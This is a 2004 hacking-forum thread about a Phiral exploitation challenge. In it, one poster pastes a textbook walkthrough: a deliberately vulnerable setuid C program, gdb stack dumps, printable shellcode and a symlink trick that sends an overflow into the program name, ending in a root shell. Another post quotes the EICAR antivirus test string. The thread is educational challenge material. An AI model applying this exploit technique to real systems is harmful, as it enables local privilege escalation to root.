• Welcome to Valhalla Legends Archive.
 

Challenge

Started by mynameistmp, July 05, 2004, 03:16 AM

Previous topic - Next topic

mynameistmp

I don't know if any of you have ever heard of http://www.phiral.com or seen the challenges there. They have two, and I was wondering if any of you can solve the second: http://www.phiral.com/~matrix/matrix_chal2.c

I though it'd be interesting to see what kind of conversation this might lead to. I'll give hints if anyone wants them.
"This idea is so odd, it is hard to know where to begin in challenging it." - Martin Barker, British scholar

iago

You showed me that once before, but I still don't know how it works.  Perhaps if others start posting observations.  One thing I noticed is that this line:
memset(argv[1], 72, 25);

It seems like that could overwrite valuable stack stuff potentially, but it's overwriting it with a useless value (0x48484848).  
This'll make an interesting test for broken AV:
QuoteX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


muert0

This is from the book they suggest reading on the site if this doesn't help let me know and I'll delete it.
cleared_stack.c code
void func(char *data)
{
  char buffer[5];
  strcpy(buffer, data);
}

int main(int argc, char *argv[], char *envp[])
{
  int i;

  // clearing out the stack memory
  // clearing all arguments except the first
  memset(argv[0], 0, strlen(argv[0]));
  for(i=2; argv[i] != 0; i++)
     memset(argv[i], 0, strlen(argv[i]));
  // clearing all environment variables
  for(i=0; envp[i] != 0; i++)
     memset(envp[i], 0, strlen(envp[i]));

  // If the first argument is too long, exit
  if(strlen(argv[1]) > 40)
  {
     printf("first arg is too long.\n");
     exit(1);
  }

  func(argv[1]);
  return 0;
}

This program clears out all of the function arguments except the first argument, and it clears out all of the environment variables. Because the first argument is where the overflow happens, and it can only be 40 bytes long, there's really no place to put shellcode. Or is there?

Using gdb to debug the program and examine the stack memory will give a clearer picture of the situation.

$ gcc -g -o cleared_stack cleared_stack.c
$ sudo chown root.root cleared_stack
$ sudo chmod u+s cleared_stack
$ gdb -q ./cleared_stack
(gdb) list
4              strcpy(buffer, data);
5       }
6
7       int main(int argc, char *argv[], char *envp[])
8       {
9             int i; 10
11            // clearing out the stack memory
12            // clearing all arguments except the first
13            memset(argv[0], 0, strlen(argv[0]));
(gdb)
14            for(i=2; argv[i] != 0; i++)
15                   memset(argv[i], 0, strlen(argv[i]));
16            // clearing all environment variables
17            for(i=0; envp[i] != 0; i++)
18                    memset(envp[i], 0, strlen(envp[i]));
19
20            // If the first argument is too long, exit
21            if(strlen(argv[1]) > 40)
22            {
23                    printf("first arg is too long.\n");
(gdb) break 21
Breakpoint 1 at 0x8048516: file cleared_stack.c, line 21.
(gdb) run test
Starting program: /hacking/cleared_stack test

Breakpoint 1, main (argc=2, argv=0xbffff904, envp=0xbffff910)
  at cleared_stack.c:21
21             if(strlen(argv[1]) > 40)
(gdb) x/128x 0xbffffc00
0xbffffc00:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc10:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc20:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc30:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc40:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc50:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc60:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc70:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc80:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffc90:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffca0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffcb0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffcc0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffcd0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffce0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffcf0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd00:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd10:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd20:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd30:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd40:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd50:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd60:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd70:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd80:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffd90:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffda0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffdb0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffdc0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffdd0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffde0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffdf0:   0x00000000   0x00000000   0x00000000   0x00000000
(gdb)
0xbffffe00:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe10:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe20:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe30:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe40:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe50:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe60:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe70:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe80:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffe90:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffea0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffeb0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffec0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffed0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffee0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffef0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff00:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff10:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff20:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff30:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff40:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff50:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff60:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff70:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff80:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffff90:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffffa0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffffb0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffffc0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffffd0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbfffffe0:   0x00000000   0x61682f00   0x6e696b63   0x6c632f67
0xbffffff0:   0x65726165   0x74735f64   0x006b6361   0x00000000
(gdb)
0xc0000000:   Cannot access memory at address 0xc0000000
(gdb) x/s 0xbfffffe5
0xbfffffe5:   "/hacking/cleared_stack"
(gdb)

After compiling the source, the binary is opened with gdb and a breakpoint is set at line 21, right after all the memory is cleared. An examination of memory near the end of the stack shows that it is indeed cleared. However, there is something left right at the very end of the stack. Displaying this memory as a string, it becomes apparent that this is the name of the executing program. The gears should be turning in your head by now.

If the name of the program is set to be printable shellcode, the program's execution flow can be directed into its own name. Symbolic links can be used to change the effective name of the program without affecting the original binary. The following example will help clarify this process.

$ ./dissembler -e -b 34 tinyshell
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
  - Jose Ronnick <[email protected]> Phiral Research Labs -
     438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[e] Escape the backslash: ON
[b] Bridge size: 34 words
[*] Dissembling bytecode from 'tinyshell'...

[+] dissembled bytecode is 195 bytes long.
--
%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-
kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-
P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

Because this shellcode will be located right at the very end of the stack, space needs to be saved to build the actual shellcode after the loader code. Because the shellcode is 31 bytes, at least 31 bytes must be saved at the end. But these 31 bytes could be misaligned with the four byte words of the stack. An extra three bytes of space will account for any possible misalignments, so 34 bytes are saved at the end of the stack, using the characters that are usually used to build the NOP bridge. The -e switch is used to escape the backslash character, because this printable shellcode is going to be cut and pasted to make a symbolic link.

$ ln -s /hacking/cleared_stack %R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--
MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-
52Y7P-N8y8-S8r8P-ooOo-AEA3-P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
$ ls -l %*
lrwxrwxrwx    1 matrix    users       22 Aug 11 17:29 %R6HJ%-H%1-UUUU-MXXv-
gRRtP\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P-
zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-
P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP -> /hacking/cleared_stack
$

Now all that's left is to calculate where the beginning of the printable shellcode will be and to exploit the program. The debugger revealed that the end of the program name was at 0xbffffffb. Because this is the end of the stack, this address isn't going to change, but instead the beginning of the program name will shift to a lower memory address. Because the printable shellcode is 195 bytes long, the beginning of it should be at 0xbfffff38 (0xbffffffb – 195).

$ pcalc 0xfffb - 195
       65336          0xff38          0y1111111100111000
$ ./%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-
Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-
P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 'perl -e 'print "\x38\xff\xff\xbf"x8;''
sh-2.05b# whoami
root
sh-2.05b#

Printable shellcode is simply a technique that can open some doors. All of these techniques are just building blocks with a myriad of possible combinations and uses. Their application simply requires some ingenuity on your part. Be clever and beat them at their own game.


To lazy for slackware.

mynameistmp

*cough* thanks *cough*
"This idea is so odd, it is hard to know where to begin in challenging it." - Martin Barker, British scholar

muert0

Blah my bad I kinda didn't read the last line of your post just went straight to the page.
To lazy for slackware.

aton

since you dont have a place to put your shellcode how about return into libc?